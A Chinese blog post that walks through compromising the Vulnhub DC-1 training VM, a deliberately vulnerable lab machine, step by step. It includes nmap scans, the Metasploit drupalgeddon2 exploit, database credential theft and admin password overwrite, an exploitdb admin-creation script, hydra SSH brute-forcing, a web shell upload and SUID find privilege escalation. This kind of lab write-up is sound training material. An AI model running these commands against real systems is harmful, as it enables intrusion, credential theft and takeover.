Vulnhub靶機滲透測試——DC-1

看更多:我的博客

Vulnhub

簡介

Vulnhub是一個提供各種漏洞環境的靶場平臺,大部分環境是做好的虛擬機鏡像文件,鏡像預先設計了多種漏洞,需要使用VMware或者VirtualBox運行。每個鏡像會有破解的目標,挑戰的目標是獲取操作系統的root權限和查看flag。

部署方法

官網:https://www.vulnhub.com

1.在官網搜索你想要的鏡像,然後下載【建議下載 (Mirror)版本】

2.下載好後解壓得到.ova的文件,右擊選擇VMware進行打開

3.在彈出的框中,選擇存放的位置,然後點擊導入

4.最後等待導入完成,然後啓動該虛擬機就可以了

DC-1__drupal

靶機下載地址:https://download.vulnhub.com/dc/DC-1.zip

靶機描述:DC-1 是一個專門構建的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。共有五個flag,但最終目標是拿到root目錄中的flag。

一、信息收集

運行部署好的虛擬機,提示需要賬號密碼,該靶機不提供密碼需要自己去滲透提權

因不知道DC-1靶機的IP,所有我們需要將靶機和攻擊機kali放在同一個局域網裏面,將Kali的網絡適配器使用橋接模式

1.探測目標

方法一:使用arp-scan工具

探測同一區域中存活主機

$ sudo arp-scan -l

-l 使用網絡接口

kali之arp-scan

方法二:使用netdiscover工具

探測存活主機

$ sudo netdiscover -i eth0

-i device 用於嗅探和注入數據包的網絡接口

netdiscover用法

方法三:使用nmap工具

$ sudo ifconfig #查看kali的ip【192.168.0.103】
$ nmap 192.168.0.0/24

2.查看目標開放端口

$ nmap -sV -p- 192.168.0.119

-sV 用來掃描目標主機和端口上運行的軟件的版本
-p- 掃描0-65535全部端口

目標靶機開放了80端口,在瀏覽器打開該站點

3.查看網頁相關信息

使用瀏覽器插件Wappalyzer,這個插件可以檢測網站的CMS,框架,服務器等信息,

可以看到該網站使用CMS爲Drupal,其實在網頁界面和底部都能發現是Drupal

二、漏洞查找與利用

1.漏洞查找

使用Metasploit搜索Drupal

$ sudo msfdb init && msfconsole
$ search Drupal

[圖片上傳失敗...(image-7af5c1-1589762563802)]

2.漏洞利用

優先選擇上面查到模塊的Rank爲excellent並且時間較新的模塊,這裏我們使用第4個

$ use exploit/unix/webapp/drupal_drupalgeddon2 
$ show options
$ set RHOSTS 192.168.0.119
$ exploit 或者 run
#當出現“Meterpreter session 1 opened”說明利用成功

MSF之命令筆記篇

三、Getshell

1.獲取普通shell

meterpreter >shell
ls

發現有個flag1.txt,打開看一哈

$ cat flag1.txt
Every good CMS needs a config file - and so do you.

翻譯:每一個好的CMS都需要一個配置文件,你也一樣。

百度查到Drupal的默認配置文件爲 /var/www/sites/default/settings.php

drupal7的目錄結構及術語

cat /var/www/sites/default/settings.php

配置文件中看到了flag2

翻譯:蠻力和字典攻擊不行,唯一方法是獲得訪問權限(你將需要訪問的)。你能用這些憑證做什麼?

同時,還有獲得了數據庫賬號和密碼

'username' => 'dbuser',
'password' => 'R0ck3t',

2.獲取交互式shell

使用python反彈一個交互式shell,然後我們登陸數據庫

$ python -c 'import pty; pty.spawn("/bin/bash")'

$ mysql -udbuser -p
Enter password:R0ck3t

查看數據庫,在drupaldb庫users表中發現admin用戶

mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;

可以看到admin用戶的密碼被加密了的,但是我們可以想辦法修改密碼或新增一個admin權限的用戶

方法一:修改admin用戶的密碼

使用Drupal對數據庫的加密方法,生成一個新密碼,然後把新的密碼更新到admin用戶

加密腳本位置在/var/www/scripts/password-hash.sh

參考:忘記Drupal的管理員密碼的解決辦法

$ php scripts/password-hash.sh jwt  #生成新密碼jwt
# hash:$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX

mysql> update drupaldb.users set pass="$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX" where name="admin";

方法二:新增一個admin權限的用戶

在exploitdb中有一個針對Drupal 7版本的攻擊腳本,可以增加一個admin權限的用戶賬號

查看Drupal版本,確定Drupal版本爲7.24

$ cat /var/www/includes/bootstrap.inc | grep VERSION
msf > searchsploit drupal

攻擊腳本適用於7.31以下,所以適合7.24版本,可以利用漏洞增加admin權限用戶

增加有admin權限的用戶:admin1/admin1

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.100 -u admin1 -p admin1

輸入用戶名/密碼【admin/jwt或者admin1/admin1】,嘗試登陸

成功登陸

在後臺左上角的Find content中發現flag3

flag3的信息中提到了passwd和shadow,很明顯就是/etc/passwd和/etc/shadow,還提到了find、perms、-exec,這幾個是提權用的。

我們來查看哈/etc/passwd和/etc/shadow 的內容

/etc/passwd 是一個純文本文件。它存儲用戶帳戶信息。它包含系統帳戶的列表,爲每個帳戶提供一些有用的信息,如用戶 ID、組 ID、主目錄、shell 等

/etc/passwd詳情

etc/shadow是/etc/passwd的影子文件,存有密碼信息

$ cat /etc/passwd
或者
$ tail -3 /etc/passwd  #爲了方便截圖,只顯示文件的最後三行

$ cat /etc/shadow #權限不夠查看失敗

發現有個叫flag4的賬號,但是查看使用/etc/shadow失敗,但是前面nmap掃描的時候發現了 ssh 服務,現在又發現了 flag4 用戶,所以嘗試使用hydra進行密碼的暴力猜解

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.0.100 ssh
或者
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100

#ip變成192.168.0.100,是應爲我重啓了,靶機ip變了
-l  指定破解的用戶
-P  指定密碼字典
ssh://ip 指定使用協議和ip地址

暴力密碼在線破解工具Hydra詳解

使用得到用戶名密碼【 flag4/orange】,登錄靶機

也可以用kali直接遠程連接

ssh [email protected]
$ ls
$ cat flag4.txt

flag4提示flag在root目錄下,在/root下發現thefinalflag.txt,但是沒有讀取的權限

3.上傳冰蠍馬獲取shell

當然你還可以利用meterperter的shell直接上傳冰蠍的shell。

meterperter> upload /home/jwt/Desktop/shell.php /var/www/shell.php

然後冰蠍連接就可以了

四、提升權限

根據flag3和flag4都提到了find,所以下面我們利用find文件提權

參考:Linux下用SUID提權linux提權-SUID提權find命令之exec

SUID可以讓調用者以文件擁有者的身份運行該文件,所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,那麼我們運行該文件的時候就得獲得root用戶的身份了。

#查找具有root權限的SUID的文件
$ find / -perm -u=s -type f 2>/dev/null

可以看到find命令具有SUID權限,如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行。

$ touch jwt
#查找根目錄下名爲jwt的文件並執行shell
$ find / -name jwt -exec "/bin/sh" \;

#-exec 參數後面跟的是command命令,它的終止是以;爲結束標誌的,所以這句命令後面的分號是不可缺少的,考慮到各個系統中分號會有不同的意義,所以在分號前面加反斜槓。

可以看到已經成功提權拿到root shell,接下來就來查看最終的flag吧

cd /root
ls
cat thefinalflag.txt

到這裏我們就成功獲取到了5個flag,併成功走完了整個滲透流程

五、總結

1.掃描局域網主機

sudo arp-scan -l 參考:kali之arp-scan

sudo netdiscover -i eth0 參考:netdiscover用法

nmap 192.168.0.0/24

2.MSF使用

參考:MSF之命令筆記篇

3.hydra爆破

sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100

參考:暴力密碼在線破解工具Hydra詳解

4.suid提權

參考:Linux下用SUID提權linux提權-SUID提權find命令之exec

贊助💰

如果你覺得對你有幫助,你可以贊助我一杯冰可樂吧!

<table>
<tbody>
<tr>
<td style="text-align:center;">支付寶支付</td>
<td style="text-align:center;">微信支付</td>
</tr>
<tr>
<td style="text-align:center;" ><img width="200" src="https://jwt1399.top/medias/reward/alipay.png"></td>
<td style="text-align:center;"><img width="200" src="https://jwt1399.top/medias/reward/wechat.png"></td>
</tr>
</tbody></table>

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章